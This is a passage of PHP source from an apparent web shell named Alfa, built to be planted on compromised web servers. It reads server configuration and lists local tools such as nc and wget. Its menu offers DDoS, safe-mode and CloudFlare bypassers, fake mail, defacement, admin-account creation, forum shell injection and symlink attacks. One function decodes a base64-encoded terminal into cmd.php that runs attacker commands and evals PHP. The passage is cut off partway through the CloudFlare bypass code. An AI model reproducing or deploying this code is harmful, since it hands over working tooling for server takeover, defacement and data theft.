  429. <tr>
  430. <td><span><font color=#27979B>Domains:</font></span></td>
  431. <td width="76%"><b>';
  432. if($GLOBALS['sys']=='unix')
  433. {
  434. $d0mains = @file("/etc/named.conf");
  435. if(!$d0mains)
  436. {
  437. echo "CANT READ named.conf";
  438. }
  439. else
  440. {
  441. $count;
  442. foreach($d0mains as $d0main)
  443. {
  444. if(@ereg("zone",$d0main))
  445. {
  446. preg_match_all('#zone "(.*)"#', $d0main, $domains);
  447. flush();
  448. if(strlen(trim($domains[1][0])) > 2){
  449. flush();
  450. $count++;
  451. }
  452. }
  453. }
  454. echo "$count Domains";
  455. }
  456. }
  457. else{ echo"CANT READ |Windows|";}
  458. echo '</b></td>
  459. </tr>
  460. <tr>
  461. <td height="16"><span><font color=#27979B>HDD:<font></span></td>
  462. <td><span><font color=#27979B>Total:</font></span><b>'.alfaSize($totalSpace).' </b><span><font color=#27979B>Free:</font></span><b>' . alfaSize($freeSpace) . ' ['. (int) ($freeSpace/$totalSpace*100) . '%]</b></td>
  463. </tr>';
  464. if($GLOBALS['sys']=='unix' )
  465. {
  466. if(!@ini_get('safe_mode'))
  467. {
  468. if(function_exists("system") || function_exists("exec") || function_exists("passthru") || function_exists("shell_exec")){
  469. echo '<tr><td height="18" colspan="2"><span><font color=#27979B>Useful : </font></span><b>';
  470. $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzialfa2','nc','locate','suidperl');
  471. foreach($userful as $item)
  472. if(alfaWhich($item))
  473. echo $item.',';
  474. echo '</b></td>
  475. </tr>
  476. <tr>
  477. <td height="0" colspan="2"><span><font color=#27979B>Downloader:</font></span>';
  478. $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
  479. foreach($downloaders as $item2)
  480. if(alfaWhich($item2))
  481. echo '<b>'.$item2.',';
  482. echo '</b></td>
  483. </tr>';
  484. }else{
  485. echo '<tr><td height="18" colspan="2"><span><font color=#27979B>useful:<font></span>';
  486. echo '--------------</td>
  487. </tr><td height="0" colspan="2"><span><font color=#27979B>Downloader:</font> </span>-------------</td>
  488. </tr>';
  489. }
  490. }
  491. else
  492. {
  493. echo '<tr><td height="18" colspan="2"><span><font color=#27979B>useful:<font></span>';
  494. echo '--------------</td>
  495. </tr><td height="0" colspan="2"><span><font color=#27979B>Downloader:</font> </span>-------------</td>
  496. </tr>';
  497. }
  498. }
  499. else
  500. {
  501. echo '<tr><td height="18" colspan="2"><span><font color=#27979B>Window:</font></span><b>';
  502. echo alfaEx('ver');
  503. echo '</td>
  504. </tr> <tr>
  505. <td height="0" colspan="2"><span><font color=#27979B>Downloader:</font> </span>-------------</td>
  506. </tr></b>';
  507. }
  508. $quotes = get_magic_quotes_gpc();if ($quotes == "1" or $quotes == "on"){$magic = '<b><font color="#0F0">ON</font>';}else{$magic = '<b><font color="red">OFF</font>';}
  509. echo '<tr>
  510. <td height="16" colspan="2"><span><font color=#27979B>Disabled Functions:</font></span><b>'.$disfun.'</b></td>
  511. </tr>
  512. <tr>
  513. <td height="16" colspan="2"><span><font color=#27979B>CURL:</font><b>'.$curl.' </b><font color=#27979B>Magic Quotes:</font><b>'.$magic.' </b><font color=#27979B> MySQL:</font><b>'.$mysql.' </b><font color=#27979B>MSSQL:</font><b>'.$mssql.' </b><font color=#27979B> PostgreSQL:</font><b>'.$pg.'</b> <font color=#27979B> Oracle:</font> </span><b>'.$or.'</b></td><td width="15%">'.base64_decode("PGEgaHJlZj0iaHR0cDovL3pvbmUtaC5vcmcvYXJjaGl2ZS9ub3RpZmllcj1BTEZBJTIwVEVhTSUyMDIwMTIiIHRhcmdldD0iX2JsYW5rIj48c3Bhbj48Zm9udCBjb2xvcj0iIzBGMCI+Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7U29sZSBTYWQgJiBJbnZpc2libGU8L2ZvbnQ+PC9zcGFuPjwvYT4=").'</td>
  514. </tr>
  515. <tr>
  516. <td height="11" colspan="3"><span><font color=#27979B>Open_basedir:<b>'.$open_b.'</b></font> <font color=#27979B>Safe_mode_exec_dir:</b>'.$safe_exe.'</b> </font><font color=#27979B> Safe_mode_include_dir:</b>'.$safe_include.'</b></font></td>
  517. </tr>
  518. <tr>
  519. <td height="11"><span><font color=#27979B>SoftWare:<font color=#27979B> </span></td>
  520. <td colspan="2"><b>'.@getenv('SERVER_SOFTWARE').'</b></td>
  521. </tr>';
  522. if($GLOBALS[sys]=="win")
  523. {
  524. echo '<tr>
  525. <td height="12"><span><font color=#27979B>DRIVE:</font></span></td>
  526. <td colspan="2"><b>'.$drives.'</b></td>
  527. </tr>';
  528. }
  529. echo '<tr>
  530. <td height="12"><span><font color=#27979B>PWD:</font></span></td>
  531. <td colspan="2">'.$cwd_links.' <a href=# onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')"><font color=red >| Home Shell |</font></a></td>
  532. </tr>
  533. </table>
  534. </div>
  535. <div id="meunlist">
  536. <ul>
  537. <li><a href="#" onclick="g(\'FilesMan\',null,\'\',\'\',\'\')"><font color=#27979B>Home</font></a></li>
  538. <li><a href="#" onclick="g(\'proc\',null,\'\',\'\',\'\')"><font color=#27979B>Process</font></a></li>
  539. <li><a href="#" onclick="g(\'phpeval\',null,\'\',\'\',\'\')"><font color=#27979B>Eval</font></a></li>
  540. <li><a href="#" onclick="g(\'sql\',null,\'\',\'\',\'\')"><font color=#27979B>SQL</font></a></li>
  541. <li><a href="#" onclick="g(\'hash\',null,\'\',\'\',\'\')"><font color=#27979B>En-Decoder</font></a></li>
  542. <li><a href="#" onclick="g(\'connect\',null,\'\',\'\',\'\')"><font color=#27979B>BC</font></a></li>
  543. <li><a href="#" onclick="g(\'zoneh\',null,\'\',\'\',\'\')"><font color=#27979B>ZONE-H</font></a></li>
  544. <li><a href="#" onclick="g(\'dos\',null,\'\',\'\',\'\')"><font color=#27979B>DDOS</font></a></li>
  545. <li><a href="#" onclick="g(\'safe\',null,\'\',\'\',\'\')"><font color=#27979B>ByPasser</font></a></li>
  546. <li><a href="#" onclick="g(\'cgishell\',null,\'\',\'\',\'\')"><font color=#27979B>Cgi Perl</font></a></li>
  547. <li><a href="#" onclick="g(\'cgipython\',null,\'\',\'\',\'\')"><font color=#27979B>Cgi Python</font></a></li>
  548. <li><a href="#" onclick="g(\'cmdphp\',null,\'\',\'\',\'\')"><font color=#27979B>CMD</font></a></li>
  549. <li><a href="#" onclick="g(\'cpcrack\',null,\'\',\'\',\'\')"><font color=#27979B>MD5 Cracker</font></a></li>
  550. <li><a href="#" onclick="g(\'portscanner\',null,\'\',\'\',\'\')"><font color=#27979B>Port Scaner</font></a></li>
  551. <li><a href="#" onclick="g(\'basedir\',null,\'\',\'\',\'\')"><font color=#27979B>Open BaseDir</font></a></li>
  552. <li><a href="#" onclick="g(\'mail\',null,\'\',\'\',\'\')"><font color=#27979B>Fake Mail</font></a></li>
  553. <li><a href="#" onclick="g(\'ziper\',null,\'\',\'\',\'\')"><font color=#27979B>Ziper</font></a></li>
  554. <li><a href="#" onclick="g(\'IndexChanger\',null,\'\',\'\',\'\')"><font color=#27979B>Index Changer</font></a></li>
  555. <li><a href="#" onclick="g(\'pwchanger\',null,\'\',\'\',\'\')"><font color=#27979B>Add New Admin</font></a></li>
  556. <li><a href="#" onclick="g(\'Vbinject\',null,\'\',\'\',\'\')"><font color=#27979B>Vb Shell inject</font></a></li>
  557. <li><a href="#" onclick="g(\'php2xml\',null,\'\',\'\',\'\')"><font color=#27979B>PHP2XML</font></a></li>
  558. <li><a href="#" onclick="g(\'cloudflare\',null,\'\',\'\',\'\')"><font color=#27979B>CloudFlare</font></a></li>
  559. <li><a href="#" onclick="g(\'Whmcs\',null,\'\',\'\',\'\')"><font color=#27979B>Whmcs</font></a></li>
  560. <li><a href="#" onclick="g(\'symlink\',null,\'\',\'\',\'\')"><font color=#27979B>Symlink</font></a></li>
  561. <li><a href="#" onclick="g(\'team\',null,\'\',\'\',\'\')"><font color=#27979B>About Us</font></a></li>
  562. <li><a href="#" onclick="g(\'selfrm\',null,\'\',\'\',\'\')"><font color=#27979B>Remove Shell</font></a></li>
  563. </ul>
  564. </div>
  565. ';
  566. }
  567. function alfacmdphp(){
  568. alfahead();
  569. echo '<div class=header>';
  570. $code = 'PD9waHANCi8vZGlzYWJsZSBtYWdpYyBxdW90ZXMhIQ0KZXJyb3JfcmVwb3J0aW5nKEVfQUxMXkVfTk9USUNFKTsNCiR0ZiA9IGV4cGxvZGUoJy8nLCAkX1NFUlZFUlsiU0NSSVBUX05BTUUiXSk7DQokdGYgPSAkdGZbY291bnQoJHRmKS0xXTsNCmlmIChnZXRfbWFnaWNfcXVvdGVzX2dwYygpKQ0Kew0KICRwcm9jZXNzID0gYXJyYXkoJiRfR0VULCAmJF9QT1NULCAmJF9DT09LSUUsICYkX1JFUVVFU1QpOw0KIHdoaWxlIChsaXN0KCRrZXksICR2YWwpID0gZWFjaCgkcHJvY2VzcykpDQogew0KICBmb3JlYWNoICgkdmFsIGFzICRrID0+ICR2KQ0KICB7DQogICB1bnNldCgkcHJvY2Vzc1ska2V5XVska10pOw0KICAgaWYgKGlzX2FycmF5KCR2KSkNCiAgIHsNCiAgICAkcHJvY2Vzc1ska2V5XVtzdHJpcHNsYXNoZXMoJGspXSA9ICR2Ow0KICAgICRwcm9jZXNzW10gPSAmJHByb2Nlc3NbJGtleV1bc3RyaXBzbGFzaGVzKCRrKV07DQogICB9DQogICBlbHNlDQogICB7DQogICAgJHByb2Nlc3NbJGtleV1bc3RyaXBzbGFzaGVzKCRrKV0gPSBzdHJpcHNsYXNoZXMoJHYpOw0KICAgfQ0KICB9DQogfQ0KIHVuc2V0KCRwcm9jZXNzKTsNCn0NCi8vDQpmdW5jdGlvbiBzaGVsbF9leGVjMigkc3RyLCAkY3dkKQ0Kew0KICRwaXBlcyA9IGFycmF5KCk7DQogJHByb2Nlc3MgPSBwcm9jX29wZW4oJHN0ci4nIDI+JjEnLCBhcnJheShhcnJheSgicGlwZSIsInciKSwgYXJyYXkoInBpcGUiLCJ3IiksIGFycmF5KCJwaXBlIiwidyIpKSwgJHBpcGVzLCAkY3dkKTsNCiByZXR1cm4gc3RyZWFtX2dldF9jb250ZW50cygkcGlwZXNbMV0pOw0KfQ0KaWYgKCRfUE9TVFsndmVyaWZ5J10pDQp7DQogJGRpcm5vdyA9IHNoZWxsX2V4ZWMyKCJwd2QiLCAkX1BPU1RbJ3ZlcmlmeSddKTsNCiBpZiAoc3Vic3RyKCRkaXJub3csIDAsIHN0cmxlbigkZGlybm93KS0xKT09JF9QT1NUWyd2ZXJpZnknXSkNCiB7DQogIGVjaG8oJ2RvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJjb21tYW5kIikudmFsdWUgKz0gIlxuIjsgIG5ld2NtZCgpOycpOw0KIH0NCiBlbHNlDQogew0KICAkZWUgPSBleHBsb2RlKCcvJywgJF9QT1NUWyd2ZXJpZnknXSk7DQogIGVjaG8oJ2RvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJjb21tYW5kIikudmFsdWUgKz0gIlxuYmFzaDogY2Q6ICcuJF9QT1NUWyd2ZXJpZnknXS4nOiBQZXJtaXNzaW9uIGRlbmllZCFcbiI7ICBuZXdjbWQoKTsnKTsNCiB9DQogZXhpdDsNCn0NCmlmICgkX1BPU1RbJ2p4Y21kJ10gJiYgJF9QT1NUWydjd2QnXSkgLy95ZWEsIGdvIEFKQVgNCnsNCiAkdGhlY21kID0gJF9QT1NUWydqeGNtZCddOw0KIGlmIChzdWJzdHIoJHRoZWNtZCwgMCwgNSk9PSI8cGhwPiIpDQogew0KICBldmFsKCckcmVzdWx0ID0gJy5zdWJzdHIoJHRoZWNtZCwgNikuJzsnKTsNCiB9DQogZWxzZQ0KICRyZXN1bHQgPSBzaGVsbF9leGVjMigkX1BPU1RbJ2p4Y21kJ10uIiAyPiYxIiwgJF9QT1NUWydjd2QnXSk7DQogaWYgKHN1YnN0cigkcmVzdWx0LCBzdHJsZW4oJHJlc3VsdCktMSwgMSk9PSJcbiIpDQogew0KICAkcmVzdWx0ID0gc3Vic3RyKCRyZXN1bHQsIDAsIHN0cmxlbigkcmVzdWx0KS0xKTsNCiB9DQogZWNobygnZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImNvbW1hbmQiKS52YWx1ZSs9Jy5qc29uX2VuY29kZSgkcmVzdWx0KS4nKyJcbiI7bmV3Y21kKCk7ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImNvbW1hbmQiKS5zY3JvbGxUb3A9ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImNvbW1hbmQiKS5zY3JvbGxIZWlnaHQ7Jyk7DQogZXhpdDsNCn0NCmVjaG8oJzxzdHlsZT5ib2R5IHtiYWNrZ3JvdW5kLWNvbG9yOiBibGFjazsgY29sb3I6IHdoaXRlOyBmb250LXNpemU6IDEycHg7fTwvc3R5bGU+PHNjcmlwdD4nKTsgPz4NCndpbmRvdy5vbmxvYWQgPSBzZXR0aGVzaXplOw0Kd2luZG93Lm9ucmVzaXplID0gc2V0dGhlc2l6ZTsNCndpbmRvdy51cGRpciA9IDA7DQp3aW5kb3cuY29tbWFuZHMgPSBuZXcgQXJyYXkoKTsNCndpbmRvdy5sb2dnZWR1c2VyID0gIjw/cGhwDQokY21kID0gc2hlbGxfZXhlYzIoIndob2FtaSIsIE5VTEwpOw0KaWYgKHN0cnBvcygkY21kLCAibm90IGZvdW5kIik9PT1GQUxTRSkNCnsNCiBlY2hvKHN1YnN0cigkY21kLCAwLCBzdHJsZW4oJGNtZCktMSkpOyANCn0NCj8+IjsNCndpbmRvdy5jd2QgPSAiPD9waHANCiRjbWQgPSBzaGVsbF9leGVjMigicHdkIiwgTlVMTCk7DQppZiAoc3RycG9zKCRjbWQsICJub3QgZm91bmQiKT09PUZBTFNFKQ0Kew0KIGVjaG8oc3Vic3RyKCRjbWQsIDAsIHN0cmxlbigkY21kKS0xKSk7IA0KfQ0KPz4iOw0Kd2luZG93LmhvbWVjd2QgPSAiPD9waHANCiRjbWQgPSBzaGVsbF9leGVjMigicHdkIiwgTlVMTCk7DQppZiAoc3RycG9zKCRjbWQsICJub3QgZm91bmQiKT09PUZBTFNFKQ0Kew0KIGVjaG8oc3Vic3RyKCRjbWQsIDAsIHN0cmxlbigkY21kKS0xKSk7IA0KfQ0KPz4iOw0KZnVuY3Rpb24gc2V0dGhlc2l6ZSgpDQp7DQogZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImNvbW1hbmQiKS5zdHlsZS5oZWlnaHQ9KHdpbmRvdy5pbm5lckhlaWdodC0yMCkrInB4IjsNCiBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiY29tbWFuZCIpLnN0eWxlLndpZHRoPSh3aW5kb3cuaW5uZXJXaWR0aC0yMCkrInB4IjsNCiBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiY29tbWFuZCIpLnNlbGVjdGlvblN0YXJ0PWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJjb21tYW5kIikudmFsdWUubGVuZ3RoOw0KIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJjb21tYW5kIikuc2VsZWN0aW9uRW5kPWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJjb21tYW5kIikudmFsdWUubGVuZ3RoOw0KIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJjb21tYW5kIikuZm9jdXMoKTsNCn0NCmZ1bmN0aW9uIGFwcGVuZGRpcmVjdG9yeShzdHIpDQp7DQogaWYgKHN0ci5zdWJzdHIoMCwgMSk9PSIvIikNCiB3aW5kb3cuY3dkID0gc3RyOw0KIGVsc2UNCiB7DQogIHZhciBjID0gd2luZG93LmN3ZCsiLyIrc3RyOw0KICB2YXIgcmVhbCA9IG5ldyBBcnJheSgpOw0KICBjID0gYy5zcGxpdCgiLyIpOyB2YXIgaTsNCiAgZm9yKGk9MDtpPGMubGVuZ3RoO2krKykNCiAgew0KICAgaWYgKChjW2ldID09ICIuLiIpICYmIHJlYWwubGVuZ3RoPjApDQogICB7DQogICAgcmVhbC5zcGxpY2UocmVhbC5sZW5ndGgtMSwgMSk7DQogICB9DQogICBlbHNlIGlmICgoY1tpXSAhPSAiLiIpICYmIChjW2ldICE9ICIiKSkNCiAgIHJlYWwucHVzaChjW2ldKTsNCiAgfQ0KICB3aW5kb3cuY3dkID0gIi8iK3JlYWwuam9pbigiLyIpOw0KIH0NCn0NCmZ1bmN0aW9uIHdyaXRlbGFzdGxpbmUoc3RyKQ0Kew0KIHZhciBjYWxsID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImNvbW1hbmQiKS52YWx1ZS5zcGxpdCgiXG4iKSwgaTsNCiBjYWxsW2NhbGwubGVuZ3RoLTFdID0gc3RyOw0KIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJjb21tYW5kIikudmFsdWUgPSBjYWxsLmpvaW4oIlxuIik7DQp9DQpmdW5jdGlvbiBjbWR1cChlKQ0Kew0KIGlmICh3aW5kb3cuY29tbWFuZHMubGVuZ3RoPih3aW5kb3cudXBkaXIpKQ0KIHsNCiAgd2luZG93LnVwZGlyKys7DQogIHdyaXRlbGFzdGxpbmUoIiIpOw0KICBuZXdjbWQoKTsNCiAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImNvbW1hbmQiKS52YWx1ZSArPSB3aW5kb3cuY29tbWFuZHNbd2luZG93LmNvbW1hbmRzLmxlbmd0aC13aW5kb3cudXBkaXJdOw0KIH0NCiBpZiAoZS5zdG9wUHJvcGFnYXRpb24pDQogew0KICBlLnN0b3BQcm9wYWdhdGlvbigpOw0KICBlLnByZXZlbnREZWZhdWx0KCk7DQogfQ0KIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJjb21tYW5kIikuc2Nyb2xsVG9wPWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJjb21tYW5kIikuc2Nyb2xsSGVpZ2h0Ow0KfQ0KZnVuY3Rpb24gY21kb3duKGUpDQp7DQogaWYgKHdpbmRvdy51cGRpcj4xKQ0KIHsNCiAgd2luZG93LnVwZGlyLS07DQogIHdyaXRlbGFzdGxpbmUoIiIpOw0KICBuZXdjbWQoKTsNCiAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImNvbW1hbmQiKS52YWx1ZSArPSB3aW5kb3cuY29tbWFuZHNbd2luZG93LmNvbW1hbmRzLmxlbmd0aC13aW5kb3cudXBkaXJdOw0KIH0NCiBpZiAoZS5zdG9wUHJvcGFnYXRpb24pDQogew0KICBlLnN0b3BQcm9wYWdhdGlvbigpOw0KICBlLnByZXZlbnREZWZhdWx0KCk7DQogfQ0KIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJjb21tYW5kIikuc2Nyb2xsVG9wPWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJjb21tYW5kIikuc2Nyb2xsSGVpZ2h0Ow0KfQ0KZnVuY3Rpb24gcG9zdEFzeW5jaHJvbm91c0FqYXgodXJsLCB2YWx1ZXMpDQp7DQogdmFyIHhtbGh0dHA7DQogaWYgKHdpbmRvdy5YTUxIdHRwUmVxdWVzdCkNCiB7DQogIHhtbGh0dHA9bmV3IFhNTEh0dHBSZXF1ZXN0KCkNCiAgeG1saHR0cC5vcGVuKCJQT1NUIix1cmwsdHJ1ZSk7DQogIHhtbGh0dHAuc2V0UmVxdWVzdEhlYWRlcigiQ29udGVudC1UeXBlIiwgImFwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZCIpOw0KICB4bWxodHRwLnNlbmQodmFsdWVzKTsNCiAgeG1saHR0cC5vbnJlYWR5c3RhdGVjaGFuZ2U9ZnVuY3Rpb24oKQ0KICB7DQogICBpZiAoeG1saHR0cC5yZWFkeVN0YXRlPT00KQ0KICAgew0KICAgIGlmICh4bWxodHRwLnN0YXR1cz09MjAwKQ0KICAgIHsNCiAgICAgZXZhbCh4bWxodHRwLnJlc3BvbnNlVGV4dCk7DQogICAgfQ0KICAgfQ0KICB9DQogfQ0KIGVsc2UgaWYgKHdpbmRvdy5BY3RpdmVYT2JqZWN0KQ0KIHsNCiAgeG1saHR0cD1uZXcgQWN0aXZlWE9iamVjdCgiTWljcm9zb2Z0LlhNTEhUVFAiKQ0KICBpZiAoeG1saHR0cCkNCiAgew0KICAgeG1saHR0cC5vcGVuKCJQT1NUIix1cmwsdHJ1ZSk7DQogICB4bWxodHRwLnNldFJlcXVlc3RIZWFkZXIoIkNvbnRlbnQtVHlwZSIsICJhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQiKTsNCiAgIHhtbGh0dHAuc2VuZCh2YWx1ZXMpOw0KICAgeG1saHR0cC5vbnJlYWR5c3RhdGVjaGFuZ2U9ZnVuY3Rpb24oKQ0KICAgew0KICAgIGlmICh4bWxodHRwLnJlYWR5U3RhdGU9PTQpDQogICAgew0KICAgICBpZiAoeG1saHR0cC5zdGF0dXM9PTIwMCkNCiAgICAgew0KICAgICAgZXZhbCh4bWxodHRwLnJlc3BvbnNlVGV4dCk7DQogICAgIH0NCiAgICB9DQogICB9DQogIH0NCiB9DQp9DQpmdW5jdGlvbiB1cmxlbmNvZGUgKHN0cikNCnsNCiByZXR1cm4gZW5jb2RlVVJJQ29tcG9uZW50KHN0cikucmVwbGFjZSgvIS9nLCAnJTIxJykucmVwbGFjZSgvJy9nLCAnJTI3JykucmVwbGFjZSgvXCgvZywgJyUyOCcpLg0KIHJlcGxhY2UoL1wpL2csICclMjknKS5yZXBsYWNlKC9cKi9nLCAnJTJBJykucmVwbGFjZSgvJTIwL2csICcrJyk7DQp9DQpmdW5jdGlvbiBuZXdjbWQoKQ0Kew0KIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJjb21tYW5kIikudmFsdWUgKz0gIlsiK3dpbmRvdy5sb2dnZWR1c2VyKyJAPD9waHAgZWNobygkX1NFUlZFUlsnSFRUUF9IT1NUJ10pOyA/PiAiKygod2luZG93LmN3ZD09Ii8iKT8oIi8iKTood2luZG93LmN3ZC5zcGxpdCgiLyIpW3dpbmRvdy5jd2Quc3BsaXQoIi8iKS5sZW5ndGgtMV0pKSsiXSMgIjsNCiBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiY29tbWFuZCIpLnNjcm9sbFRvcD1kb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiY29tbWFuZCIpLnNjcm9sbEhlaWdodDsNCn0NCmZ1bmN0aW9uIGV4ZWMoZSkNCnsNCiB3aW5kb3cudXBkaXI9MDsNCiB2YXIgYWxsID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImNvbW1hbmQiKS52YWx1ZS5zcGxpdCgiXG4iKTsNCiBpZiAoYWxsW2FsbC5sZW5ndGgtMV0uc3Vic3RyKGFsbFthbGwubGVuZ3RoLTFdLmluZGV4T2YoIiMiKSkuc3Vic3RyKDIpPT0iY2xlYXIiKQ0KIHsNCiAgd2luZG93LmNvbW1hbmRzID0gbmV3IEFycmF5KCk7DQogIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJjb21tYW5kIikudmFsdWU9IiI7DQogIG5ld2NtZCgpOw0KICBlLnByZXZlbnREZWZhdWx0KCk7DQogfQ0KIGVsc2UgaWYgKGFsbFthbGwubGVuZ3RoLTFdLnN1YnN0cihhbGxbYWxsLmxlbmd0aC0xXS5pbmRleE9mKCIjIikpLnN1YnN0cigyLCAyKT09ImNkIikNCiB7DQogIGUucHJldmVudERlZmF1bHQoKTsNCiAgd2luZG93LmNvbW1hbmRzLnB1c2goYWxsW2FsbC5sZW5ndGgtMV0uc3Vic3RyKGFsbFthbGwubGVuZ3RoLTFdLmluZGV4T2YoIiMiKSkuc3Vic3RyKDIpKTsNCiAgaWYgKGFsbFthbGwubGVuZ3RoLTFdLnN1YnN0cihhbGxbYWxsLmxlbmd0aC0xXS5pbmRleE9mKCIjIikpLnN1YnN0cig1KT09In4iKQ0KICB7DQogICB3aW5kb3cuY3dkID0gd2luZG93LmhvbWVjd2Q7DQogICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiY29tbWFuZCIpLnZhbHVlICs9ICJcbiI7ICBuZXdjbWQoKTsNCiAgfQ0KICBlbHNlDQogIHsNCiAgIGFwcGVuZGRpcmVjdG9yeShhbGxbYWxsLmxlbmd0aC0xXS5zdWJzdHIoYWxsW2FsbC5sZW5ndGgtMV0uaW5kZXhPZigiIyIpKS5zdWJzdHIoNSkpOw0KICAgcG9zdEFzeW5jaHJvbm91c0FqYXgoIjw/cGhwIGVjaG8oJHRmKTsgPz4iLCAidmVyaWZ5PSIrdXJsZW5jb2RlKHdpbmRvdy5jd2QpKTsNCiAgfQ0KIH0NCiBlbHNlDQogew0KICBlLnByZXZlbnREZWZhdWx0KCk7DQogIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJjb21tYW5kIikudmFsdWUgKz0gIlxuIjsNCiAgd2luZG93LmNvbW1hbmRzLnB1c2goYWxsW2FsbC5sZW5ndGgtMV0uc3Vic3RyKGFsbFthbGwubGVuZ3RoLTFdLmluZGV4T2YoIiMiKSkuc3Vic3RyKDIpKTsNCiAgcG9zdEFzeW5jaHJvbm91c0FqYXgoIjw/cGhwIGVjaG8oJHRmKTsgPz4iLCAianhjbWQ9Iit1cmxlbmNvZGUoYWxsW2FsbC5sZW5ndGgtMV0uc3Vic3RyKGFsbFthbGwubGVuZ3RoLTFdLmluZGV4T2YoIiMiKSkuc3Vic3RyKDIpKSsiJmN3ZD0iK3dpbmRvdy5jd2QpOw0KIH0NCiBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiY29tbWFuZCIpLnNjcm9sbFRvcD1kb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiY29tbWFuZCIpLnNjcm9sbEhlaWdodDsNCn0NCmZ1bmN0aW9uIGJzcChlKQ0Kew0KIHZhciBhbGwgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiY29tbWFuZCIpLnZhbHVlLnNwbGl0KCJcbiIpOw0KIGlmIChhbGxbYWxsLmxlbmd0aC0xXS5sZW5ndGg9PShhbGxbYWxsLmxlbmd0aC0xXS5pbmRleE9mKCIjIikrMikpDQogZS5wcmV2ZW50RGVmYXVsdCgpOw0KfQ0KPD9waHAgZWNobygnZnVuY3Rpb24gcGFyc2VrZXkoZSwgdGhzKXtpZiAoZS5rZXlDb2RlPT0xMyl7ZXhlYyhlKTt9ZWxzZSBpZihlLmtleUNvZGU9PTM4KXtjbWR1cChlKTtyZXR1cm4gZmFsc2U7fWVsc2UgaWYoZS5rZXlDb2RlPT00MCl7Y21kb3duKGUpO3JldHVybiBmYWxzZTt9ZWxzZSBpZihlLmtleUNvZGU9PTgpe2JzcChlKTt9fTwvc2NyaXB0Pjx0ZXh0YXJlYSByb3dzPTcgY29scz0xMzAgaWQ9ImNvbW1hbmQiIG9ua2V5cHJlc3M9InBhcnNla2V5KGV2ZW50LCB0aGlzKTsiPjwvdGV4dGFyZWE+PGJyPicpOz8+DQo8c2NyaXB0Pg0KbmV3Y21kKCk7DQo8L3NjcmlwdD4NCg==';
  571. $decode = base64_decode($code);
  572. $sole = fopen('cmd.php','w+');
  573. $sole2 = fwrite ($sole ,$decode);
  574. fclose($sole);
  575. echo '<iframe src=cmd.php width=100% height=600px frameborder=0></iframe> ';
  576. echo '</div>';
  577. alfafooter();
  578. }
  579. function alfacloudflare(){
  580. alfahead();
  581. echo"<script>alfa1_=alfa2_=\"\"</script>
  582. <div class=header><center>
  583. <b><b><font color=\"#FFFF01\">==</font> <font color=\"#00A220\">Cloud </font> <font color=\"#FFFFFF\">Flare</font> <font color=\"#FF0000\">ByPasser</font><font color=\"#FFFF01\"> ==</font></b>
  584. <form action='' onsubmit=\"g('cloudflare',null,this.url.value,this.go.value); return false;\" method='post'>
  585. <p><br><input type='text' size=30 name='url' placeholder=\"site.com\"><br/><br/>
  586. <input type='submit' name='go' value='>>' />
  587. </p>
  588. </form></center>";
  589. if($_POST['alfa2'] && $_POST['alfa2'] == '>>'){
  590. function is_ipv4($ip)
  591. {
  592. return filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4) ? $ip : '(Null)';
  593. }
  594. function getipCloudFlare($url){
  595. $url = "http://www.cloudflare-watch.org/cgi-bin/cfsearch.cgi";
  596. $login_data = "cfS=$url";
  597. $login = curl_init();
  598. curl_setopt($login, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:26.0) Gecko/20100101 Firefox/26.0');
  599. curl_setopt($login, CURLOPT_TIMEOUT, 40);
  600. curl_setopt($login, CURLOPT_RETURNTRANSFER, 1);
  601. curl_setopt($login, CURLOPT_URL, $url);
  602. curl_setopt($login, CURLOPT_HEADER, 1);
  603. curl_setopt($login, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
  604. curl_setopt($login, CURLOPT_FOLLOWLOCATION, 1);
  605. curl_setopt($login, CURLOPT_POST, 1);
  606. curl_setopt($login, CURLOPT_POSTFIELDS, $login_data);
  607. $content= curl_exec($login);
  608. if (preg_match("/<UL><LI>(.*?)<\/UL>/",$content,$find)){
